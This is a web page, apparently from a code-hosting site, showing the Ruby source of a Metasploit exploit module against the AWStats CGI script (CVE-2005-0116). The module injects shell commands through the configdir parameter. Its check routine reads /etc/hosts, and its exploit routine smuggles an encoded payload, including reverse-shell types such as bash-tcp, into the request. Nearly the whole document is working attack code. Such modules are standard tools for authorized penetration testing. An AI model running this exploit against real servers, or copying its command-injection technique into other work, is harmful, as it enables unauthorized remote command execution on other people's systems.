Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/awstats_configdir_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(update_info(info,12'Name' => 'AWStats configdir Remote Command Execution',13'Description' => %q{14This module exploits an arbitrary command execution vulnerability in the15AWStats CGI script. iDEFENSE has confirmed that AWStats versions 6.1 and 6.216are vulnerable.17},18'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>', 'hdm' ],19'License' => MSF_LICENSE,20'References' =>21[22['CVE', '2005-0116'],23['OSVDB', '13002'],24['BID', '12298'],25['URL', 'http://www.idefense.com/application/poi/display?id=185&type=vulnerabilities'],26],27'Privileged' => false,28'Payload' =>29{30'DisableNops' => true,31'Space' => 512,32'Compat' =>33{34'PayloadType' => 'cmd cmd_bash',35'RequiredCmd' => 'generic perl ruby python telnet bash-tcp',36}37},38'Platform' => 'unix',39'Arch' => ARCH_CMD,40'Targets' => [[ 'Automatic', { }]],41'DisclosureDate' => '2005-01-15',42'DefaultTarget' => 0))4344register_options(45[46OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]),47])48end4950def check51res = send_request_cgi({52'uri' => normalize_uri(datastore['URI']),53'vars_get' =>54{55'configdir' => '|echo;cat /etc/hosts;echo|'56}57}, 25)5859if (res and res.body.match(/localhost/))60return Exploit::CheckCode::Vulnerable61end6263return Exploit::CheckCode::Safe64end6566def exploit67command = Rex::Text.uri_encode(payload.encoded)68urlconfigdir = normalize_uri(datastore['URI']) + "?configdir=|echo;echo%20YYY;#{command};echo%20YYY;echo|"6970res = send_request_raw({71'uri' => urlconfigdir,72'method' => 'GET',73'headers' =>74{75'Connection' => 'Close',76}77}, 25)7879if (res)80print_status("The server returned: #{res.code} #{res.message}")8182m = res.body.match(/YYY\n(.*)\nYYY/m)8384if (m)85print_status("Command output from the server:")86print("\n" + m[1] + "\n\n")87else88print_status("This server may not be vulnerable")89end90else91print_status("No response from the server")92end93end94end959697